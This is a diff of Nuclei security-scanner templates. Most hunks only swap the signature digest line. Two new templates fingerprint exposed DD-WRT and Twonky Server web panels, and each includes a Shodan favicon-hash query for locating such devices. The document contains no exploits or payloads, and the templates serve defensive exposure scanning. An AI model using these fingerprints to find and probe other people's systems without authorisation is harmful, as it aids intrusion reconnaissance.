         condition: and
-# digest: 4b0a00483046022100de4649d6c0a7aa2db70dcd9562e84be0f5de20fcc94650e0551ef706894960c7022100cdaaf5f92d80c4fb4923578278e1d6f91616bb58d4bfde0e98c7d108d2758256:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022052c140a6f2826ed5e086933a46e840da2c78cfdd986864c79e808855f5940b660221009486f31f1be66f76ef47625957d2864be7f1514f9e595491f04d82c6b5adf4c0:922c64590222798bb761d5b6d8e72950

http/exposed-panels/vmware-aria-panel.yaml

@@ -27,4 +27,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a0047304502202e0acbd415991e32d7ca90f54b4984cf50f0ef824fdac0df3f4ddedb02eb599b022100a8ba90b04b5a58eb24d09db905ace96b8c8bfee81a48ad2ab9884b91c426a603:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f112d4d39681c47d23aa3216881026f36c7427e50ef257486a7982e5640003e0022100ceb9481f7c42e798d1b77b69d06c057c8184a057fb7b5aa56b689f83e67c6ac9:922c64590222798bb761d5b6d8e72950

http/exposed-panels/wildix-collaboration-panel.yaml

@@ -29,4 +29,4 @@ http:
         part: server
         words:
           - "wildix"
-# digest: 4a0a00473045022010b49f9ddec11b5956c0241d045b9796aded7209eabb431946d03bdc79cd9057022100b41bfda50e4e83350473a1980ddf202390e0ea5a6edfe22f68de4420e520270a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502205fb7393a8b87440a5834f0de8f20ca62698ccf367e46c04a4f47e5d8d411e2e7022100f87aa3a64ffa8c978108af39496af9142837b086090b84a62a9eb93119a82e80:922c64590222798bb761d5b6d8e72950

http/exposures/backups/sql-server-dump.yaml

@@ -58,4 +58,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a0046304402203b110d188b80da0f16fcb17ca2c7a7529d775070159ea52ef9261eaab8f28daa02207090dd750a28e00b558000c695ce73f2c2ac716284abf8145722cd2e27716446:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220253042fd238f34098dd00533f0f3b56fa5e6a8817053890d4181928b30e8bd7e022100e367825cad9b0264eea0e6a26e1f6e4c030b03ac4f8a2f7772e95a6560da849d:922c64590222798bb761d5b6d8e72950

http/honeypot/tpot-honeypot-detect.yaml

@@ -29,4 +29,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a00463044022031983f7ab6fd8d3b7b4e5e3292f6bb837092c2741be64f89bfe36413706b77a702200a5a66195ae74d330693296bae155e3029b028ff80bbd39d5a248b9d0b510981:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200d8ebd65d96ac5f8523b778b36358147c529c1547a0b55b8d5999da8dbd074f3022100d5e1d3544d33e5574642a4dc1ed1e109271b795dc5da7b46eef1b51c5d3acf89:922c64590222798bb761d5b6d8e72950

http/miscellaneous/assetlinks-detect.yaml

@@ -26,4 +26,4 @@ http:
           - "contains(body, 'android_app')"
           - "contains(content_type, 'application/json')"
         condition: and
-# digest: 4a0a00473045022076ee38989590fa483c2b0f978159f01f75b3e97647e4879345b9c1bd8f9b224f022100afa28d3566d8090d37439d407ce4076130e62618b9669da7ba1aa30f6da6b31b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206ed00fad4c1f11dbac9031d3d72d4e2884751d28562b47970532659c73abdd36022100835b5f9a6a5347c7471e973902a06699607ea990ec63385e707fff73d0969271:922c64590222798bb761d5b6d8e72950

http/miscellaneous/discord-invite-detect.yaml

@@ -30,4 +30,4 @@ http:
         name: discord-bot-invite
         regex:
           - "https?:\\/\\/discord\\.com\\/oauth2\\/authorize\\?client_id=([0-9]+)[^\\s\"']*"
-# digest: 4a0a00473045022018e2aff07b9ad7859b647f3c904f8ac0978a42d65236e43ab9fc5cfd3209639e022100c67f47b9d49b4b178e0622ca61487ebfdd7a175d2bb31455cb2601b027bb2026:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022053a9000e4c2e5fc736c9c23bd8e41ad4b10ca63d65f0ea0d50c8f668bdac29dc0221008820af18822f3afcac37cf1afee680683842416159b2041db24edc9ad6b5b96a:922c64590222798bb761d5b6d8e72950

http/miscellaneous/keybase-domain-owwnership-verification.yaml

@@ -36,4 +36,4 @@ http:
         part: body
         regex:
           - "-----BEGIN PGP MESSAGE-----[\\s\\S]+?-----END PGP MESSAGE-----"
-# digest: 4b0a004830460221009c4bf1985730884ce610479331b47120762069c1de3f931e48c035f22d1e5c28022100e1ed2a236b5e053c05ff83b869d820aad46e905c42ff30f13a9313040c421731:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100ee34e01c862b9a5e0117b858491c3f9fc0b301964ba802ddaa52aae53b4dddbc0220101bbb1f949b0dcac5b0c9200a8d3e617a55fae4a11826130d4b46a438f6a513:922c64590222798bb761d5b6d8e72950

http/miscellaneous/maxforwards-headers-detect.yaml

@@ -31,4 +31,4 @@ http:
         part: header
         regex:
           - '(?i)max-forwards:\s+([0-9]+)'
-# digest: 4a0a0047304502201d87c6a130078127caf47ff96cdaa01517ad90d5dc02fc8ebb292e6a9981ad85022100bd398d459caec9294a83431e2513bc93b93c358730821afa6f8a29e92daec731:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220336877074d205b9565390e8a11287e23856de54b12a0a9cfec98f6e5be1dd53c022100bbf1eef6506a5290deb8a902937d7ce279ff4468112cc8ea252ec2657156a685:922c64590222798bb761d5b6d8e72950

http/miscellaneous/onion-website-supported.yaml

@@ -28,4 +28,4 @@ http:
         group: 1
         regex:
           - '(?i)onion-location:\s*(https?://[a-z0-9]+\.onion)'
-# digest: 4b0a00483046022100f3225dee4613b0e0414e051506844299b448f94ca685eb380d646d5a313e1c49022100a50a0f18e59656e80d5125889eb26d3de92544623ed10ea21b6d3e94853c4479:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a73bd5fe866c49e58a63c21752821b3644693b43e46a23fc2db7fb33a17cde0e0221009f66b8fc6d0901a7b040a590dc6c695fb0e76afab7e05a1d97786c9ca6b99866:922c64590222798bb761d5b6d8e72950

http/miscellaneous/seized-site.yaml

@@ -30,4 +30,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022100f8ba3e93c23c2926337eeb89fc9bb2b85ebe6f7dcab18fd4aa9e3111ae4336d60220355310f37f7ea5935568818208328d1b6dd02aa9526b7fea4a86ef1fe0f52f9c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200cc01d5642227aef587c8186f8f0290b073cf74fe6f642f199ea4995753e474e022100b8fc2cc32dbb0dfd3ed1ff538592878d4ca1855f8c9b8989c5a626092012a09d:922c64590222798bb761d5b6d8e72950

http/miscellaneous/torrent-website-detect.yaml

@@ -37,4 +37,4 @@ http:
         part: body
         regex:
           - "magnet:\\?xt=urn:btih:[a-zA-Z0-9]*[^\"'\\s<]*"
-# digest: 4a0a00473045022077d6e1fc5c995b8fad4fbdee6c509c3c180f0c1cf0030bf1760722e7d37bb655022100b7cc37e7e5b90a08489253b7a1f6e32135543e10c1fa734ed9a9b322e63bf6e9:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220081680262d794e30c9da390cf9d9bc0388827508cd03554b89504e430b64856c02205d1b9b16170e8dfe5dadacc1e425dc28bdf4ebc7c505788e6be8b4dd41f37c90:922c64590222798bb761d5b6d8e72950

http/misconfiguration/dd-wrt-controlpanel-exposure.yaml

@@ -0,0 +1,29 @@
+id: dd-wrt-controlpanel-exposure
+
+info:
+  name: DD-WRT Control Panel - Exposure
+  author: DhiyaneshDk
+  severity: low
+  description: |
+    The DD-WRT web interface was found exposed without proper access controls, potentially allowing unauthorized users to view.
+  reference:
+    - https://wiki.dd-wrt.com/wiki/index.php/Web_interface
+    - https://dd-wrt.com/
+  metadata:
+    verified: true
+    max-request: 1
+    shodan-query: http.favicon.hash:252728887
+  tags: dd-wrt,exposure,misconfig
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "contains_all(body, 'DD-WRT Control Panel','WAN IPv6')"
+          - "status_code == 200"
+        condition: and
+# digest: 4b0a004830460221008ee5b0eff02eeda015f56017335f52149bbde32c9953ed458545f5d2497ea200022100f3963b4efdba6d73bb9aa3e40f7a98a762152701e854f9bfe2a44cd691500e5d:922c64590222798bb761d5b6d8e72950

http/misconfiguration/manage-cabinet-register.yaml

@@ -29,4 +29,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a0047304502206e1161909af78092cf7c9984257206e00e642189ff1513ab9116f07fc93fd892022100eeefb4309a80b5988e09a1338228669d2e2e41815303747990b815cf64349947:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022035fa123c1a79b35f2e8260d6fd33b138e68d8b38779d22a6eba4bc18489942b3022100cfbce74b20b658ba757a3a40847aede8ab3d8a65496b36f8886fccaaf68f69dc:922c64590222798bb761d5b6d8e72950

http/misconfiguration/twonky-server-exposure.yaml

@@ -0,0 +1,29 @@
+id: twonky-server-exposure
+
+info:
+  name: Twonky Server - Exposure
+  author: DhiyaneshDk
+  severity: high
+  description: |
+    Twonky Server is a media server software that allows streaming of multimedia content over DLNA/UPnP protocols. When exposed to the internet or an untrusted network without proper authentication or access restrictions, it may allow unauthorized users to browse and access media files, interact with server settings, or gather sensitive network information.
+  reference:
+    - https://lynxtechnology.com/twonky-server.html
+    - https://download.twonky.com/
+  metadata:
+    verified: true
+    max-request: 1
+    shodan-query: http.favicon.hash:-915768386
+  tags: twonky,exposure,misconfig
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "contains_all(body, '<title>TwonkyMedia</title>','Settings')"
+          - "status_code == 200"
+        condition: and
+# digest: 4b0a00483046022100a132d466db8a6f3a7238c7242bceca18a004b9e9a9282f21ed33c146957915670221008a60e43526b13cb47dca6ba246158505d985241b4c3f2ae04c9adc9a68a280ca:922c64590222798bb761d5b6d8e72950

http/misconfiguration/unigui-server-monitor-exposure.yaml

@@ -33,4 +33,4 @@ http:
           - 'contains(body, "layout:\"fit\",title:\"uniGUI Standalone Server\"")'
           - 'contains(body, "layout:\"absolute\",title:\"Server Statistics\"")'
         condition: or
-# digest: 4a0a00473045022100af52c6138bea014cff1d2298274d728dd496ce52cbbdca86e76f07092f7f5591022009b981697348294719902eadfbf57eadfd67a33256e763dbe66a76197f73123d:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220484913ef729a7a426c4d54adc94716a25581972d32b9bc92a86ab67fe12122800220592b65ddefb3511e6923ba2902e4b2293f166d891564a29c581b042b96afbfdb:922c64590222798bb761d5b6d8e72950

http/osint/phishing/1password-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"1password.com")'
-# digest: 4a0a00473045022100ee72c2a6344e8bffcb0d15204dbacdcec97604266048a85dc7dab0ba30d79c0f0220135b016d527d4edb91089b268b51c24da62272620230f20c01ab8ebe9333fdce:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100a69ed5c640582bd639daed5e7c12e2efa6b7c368cd92400704835ef1760c42f402207be1a729048e0f39bac1dbfa381dd0d3538ffe1257fa487ee62f328bf0ac991b:922c64590222798bb761d5b6d8e72950

http/osint/phishing/adobe-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"adobe.com")'
-# digest: 490a004630440220261e2676caf1dda07006aaec606c509f22e516897ff4d924ee2416bfd8b6c760022003ad0b7178315789af41ac5f4b6909d19287f0a0214edea103f3644435576f0f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022055808c60d998b7c19a9eddfc1c20eb6526c53dd01305d14c133290383e5f22fc022100d5709786c9a0d60cee2fab1267f2db5dbfe73d06219ca7bb5ab7f44d04bd98bc:922c64590222798bb761d5b6d8e72950

http/osint/phishing/aliexpress-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"aliexpress.com")'
-# digest: 490a00463044022046997fc4e59fe945d5517ed301b07d9ff8067da49ca5f7ba1d4958f4ca15c31a0220173c07eda2fdb84d03c930ca973566c8f27457f24790774716ba8b5e1ebfcc1b:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402200796f7c67cb437d6571457a34a2dfe6c5101d80f66a32edff32b9ebcdf5065a802207875528e851c4f4844c0adf1ded31ea0949e09bd9bf85d10f267f4a8a555442e:922c64590222798bb761d5b6d8e72950

http/osint/phishing/amazon-phish.yaml

@@ -51,4 +51,4 @@ http:
           - '!contains(host,"amazon.ae")'
           - '!contains(host,"amazon.com.tr")'
         condition: and
-# digest: 490a0046304402204fe7af4c7d40a0b5321b542c158f957884463aff60c79219604b36d75cead75d02203c618db832a580b47e9b51734cdaddcf6126881ececd53b4f8b783341b0d0da6:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ac529b94db573b40cfba56a1384a07205993001e414e0c4a170b4ad9bc1c4247022100ac6e6306c1cf3d2e2dddb1e080c6f97bda13d6df85ba1c2bb38586edd93cbd7f:922c64590222798bb761d5b6d8e72950

http/osint/phishing/amazon-web-services-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"amazon.com")'
-# digest: 4a0a00473045022100905faa791d7206f2730150d69b9709613f1062a15f7910f9755166251d22192c02206601e5f8bbac82ab3a10a2d038377ab3434d108f99ab9152e52646201641510c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100ff4519221f740be8514a0d00732d1a1589b6b88c6fbd73ec4157269e7b6285cc0220371b12b37b35ccfff0fd9d0712e980c8627ab767f6ccae873a7d3bac98469d7f:922c64590222798bb761d5b6d8e72950

http/osint/phishing/american-express-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"americanexpress.com")'
-# digest: 4b0a00483046022100d4d39989ca760b98eb08e08ba8298165ff62cb6b539684460827b3e23cce9ddd0221009ae00652266aaa1bc3d16f339b7afa106f4e6c8442dbcff33ddbb90bad346863:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022025077229d65c360b08ff4a3a9620c79627d2454ea01120d26fdeb8441a382bbf022100e3da94650b20961821f3451d4a418f94ce5e666955726536a3fe28a0efbe053a:922c64590222798bb761d5b6d8e72950

http/osint/phishing/anydesk-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"anydesk.com")'
-# digest: 4a0a0047304502202196e112dfab36c308ecb52cd3b2e9abf1582f1f636f107f0c05bb7057879a85022100f95519a88a0526974226ce7a58b3d7d26d5fcd75be56a34a4d875117ea643f1e:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100bde65dd7176f857115d42b7ed2f402a0ddfb47b93142c937fb219842f2c0a7740221008f6dcbf531363907fc06ccb0f72a36d65aa43b3cf92596111734c41603af1aeb:922c64590222798bb761d5b6d8e72950

http/osint/phishing/avast-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"avast.com")'
-# digest: 4a0a0047304502200338f30c50bd20eaf3f8e588aeb2387a64038726a8619374fd58bf434b1e2aef022100e4b9269a1ab8bb9809ce992d1fa45a48c92a7ec4e6eed027fa4f3d986a94ebd8:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022062d83ff726af83355593e8e06089098b52795e29988680ecec226492d5c9de160220250773d9610b3e34f82f46d1ba24c02641fe2980c41c1a7eb49ba49ad7319b0b:922c64590222798bb761d5b6d8e72950

http/osint/phishing/avg-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"avg.com")'
-# digest: 4a0a0047304502204c9899a43dd9eef8e626b41da382769b925e74d5de4c11c627af296ebf3f046e022100f96d4430104f99cf993b5a86f42265a3552f80fddcda000c6ddabe67b11eae33:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f0248297afd4fc19ad060eba5c2b423b9f94f51d90068fa0e9c5bbf276566377022100a1b4529280d956bf19497705b3d8f23f8f82c9c56c70d5f1bf8d328ed28ccce7:922c64590222798bb761d5b6d8e72950

http/osint/phishing/bank-of-america-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"bankofamerica.com")'
-# digest: 490a0046304402202ff1d1012eb7c654fa22f3030943a0e128a8293935724bddc6a61bf1d2fcd4cf022079bca17e6a9a9cba34409db034e88407b4d78f81a8f2674321ec0264cad44a19:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502201092c03d72f41031099a3abb0c7b494296276d1fcebc88f754acd4b19d7899bb022100d40dc0948c112c07278fa0413102c1b80cbca8dd54bbe538e44569a6229ae36c:922c64590222798bb761d5b6d8e72950

http/osint/phishing/battlenet-phish.yaml

@@ -33,4 +33,4 @@ http:
         dsl:
           - '!contains(host,"battle.net")'
           - '!contains(host,"blizzard.com")'
-# digest: 4b0a004830460221009fd12648418a40037d89289e7a7f7c42f492f6bb5357819e0a4f424e44fb2725022100dd0c54cf3122e357508119037951e9b7a7084aaaa519eabe00a2c2b43d6c1a83:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c2f9f2e55f3f07e21eb8643d96109fdf61d678532c6d0210af83f974ed6b29ca022100ad22f72f838c0e162453b9788fe818039b73d20a3f3e890d43a44c91d3d80263:922c64590222798bb761d5b6d8e72950

http/osint/phishing/bestbuy-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"bestbuy.com")'
-# digest: 4a0a0047304502202eb1acd15b93c34af4f849e308d43c74a911476518e2068ec7b34688814b7ded02210082ad6d7e7092090df9f8a1e19c72afb9938a118662e045e4488b4ab0dc1c84a2:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100fb7b4629c2f804141c8184e43405e53c795b38622f6c338c62cd744476f2a6be022002a01dd11add6eb4c234c4c6b9deedd7443d07fc99356de7a04f048b17149ac6:922c64590222798bb761d5b6d8e72950

http/osint/phishing/bitdefender-phish.yaml

@@ -33,4 +33,4 @@ http:
         dsl:
           - '!contains(host,"bitdefender.com")'
           - '!contains(host,"bitdefender.co.uk")'
-# digest: 4a0a00473045022100d9a46d23ada24f88b8da0fb0526a39c7f567d3ebe27af8069c56bdf28fd9d06a02206f50648f8de1304a87407b40994ce2a3142a639e0953b4f23cbc645023510197:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022015253c13134bf97137680cd8132d01fa53680fae1eba8b185cccc185cbb9e793022100b4eed36e1b9f64ecc3ff8d4768e71bce1faffe0d5d92015e591ce3ee983c23d9:922c64590222798bb761d5b6d8e72950

http/osint/phishing/bitwarden-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"bitwarden.com")'
-# digest: 4b0a00483046022100b58fe63c11b29f4235a9d3f00e2896470dbfb06dd422630ed38259671c9d9853022100d73ae1eff247b996eebd20f7b103a42bc41d0058d3571336814155b6d80d3f04:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220633a5b8767f3d506f816e1eeeec387f3d49f74fdf84f54f4c50e1c3087ec4c6d02200140bfcef19cd14d657e9c5e87621ae107096756b91a6f2e548f85fbdefe190a:922c64590222798bb761d5b6d8e72950

http/osint/phishing/blender-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"blender.org")'
-# digest: 4a0a00473045022025e4b4aa04d880bdcb2224f95bb8c3f21e269e162d1448abc92b857cd0284e80022100ab48dd9c2ab245c8155788d55dfc3f38fde70a51225746e6a492416d628d411e:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022044f8eb39e9f1ae64fb5e4f9ba6b2a61ed4cca7e5491c7fbf80706526c046e6b1022100c3940bc433d3c7c10b782e7c6b244038ec660d056918f47732b75ca83657dc54:922c64590222798bb761d5b6d8e72950

http/osint/phishing/booking-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"booking.com")'
-# digest: 4a0a00473045022019bfe68be345bb8800694b5d1a80103bfa74f13af447a7026fbc437b778ca7d1022100df7056c68b7b5db1b53ce279150b04a99e63c4c5293cd2da0b20f20149e829be:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022039a8c5353e09e915d8d5024ca803773c1977df4d0c52400b420903fb597ba9c802200d312ba20a96f2d4008652009b740475ce784b7e6751be19467aa1f6e11db000:922c64590222798bb761d5b6d8e72950

http/osint/phishing/box-storage-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"box.com")'
-# digest: 4b0a00483046022100c3dc3f390074be6b6c13858ee0b423b605dd0fe9b0358f2b6b1e588ef22888ee022100e72a449e2c5260ea63c1ee6763706cc4998a1d7bdbf964898ee8ea1d7f504546:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100aa33e5a640f2ee795d3603401a97df24225c560791d0b74a18f3388120730f92022100bd945137e8fa1015dd068c2b957e458a9582152d162da7afdbb9e51182649a5b:922c64590222798bb761d5b6d8e72950

http/osint/phishing/brave-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"brave.com")'
-# digest: 490a004630440220091b25b56a79b0d07aaf4722c2f9cbe3acb2eef07c1f0cc0e5618d598832c99f022020d68fcaa2b502ab03be213efbe684cc4ed1505f019a7a20a55bb9cb3a71bb8a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100a92e314627538fb7c2d25709638bfc143ad5472d68c8dfdcb085e91721a68a8602207b4cc27fcc5902653f2d76f7825f0a1ee68fd4bdaba140f24c6dbd355e30492b:922c64590222798bb761d5b6d8e72950

http/osint/phishing/brighthr-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"brighthr.com")'
-# digest: 4b0a00483046022100a44e07dbf5bcb1f50fea2901cf5a1466f8f2b90ba882891c66063b13fe6bd79e022100f53aa9441d148e681c2c29b0ac071fcb9417518fe9b5e751a599b0a326e64d55:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221009aed87e0a70731686205d1d1cd5bc2f641a93b19ec62de829de7fb8c8a74a163022025a0f7241c3f66d355f0ff01186c90b991980928c212d2b1de1ec6da24bb0efa:922c64590222798bb761d5b6d8e72950

http/osint/phishing/ccleaner-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"ccleaner.com")'
-# digest: 4a0a00473045022100ee112aa8c9dc9c668d5012089ab35b6c59eb3fa2ad611d07b70c292d7d1a75a0022064cb771d3c71194cfdeb03b04ce71609e4909bf739ca89c73c8ac1daf8bf9eaa:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b59ba602187a34e3f6426a7a78e9d3b00059b65e9db7e7f626b5cf64813ac0b2022025e4c5944ebd9e454b9a4e8e9f0f08499317e79d407dc8d0620aea3e1b8d6d0d:922c64590222798bb761d5b6d8e72950

http/osint/phishing/chase-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"chase.com")'
-# digest: 4b0a00483046022100d067e1314a9298ed14757fe9d788ea2b56da4533c102502256accd7d61e0d3bd022100cba3a9add85e3f0abda35de0e0e6a8b5cfcf155833a800fc92527da9eff35198:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502203142b36c6f1580d8c4210282ec18455eb9ce25f91108f2cc02039a737a0d31a0022100d7133352a466c56d1b4250f3250ae31bc84e98281ea73ec2a5e49d248df1cd51:922c64590222798bb761d5b6d8e72950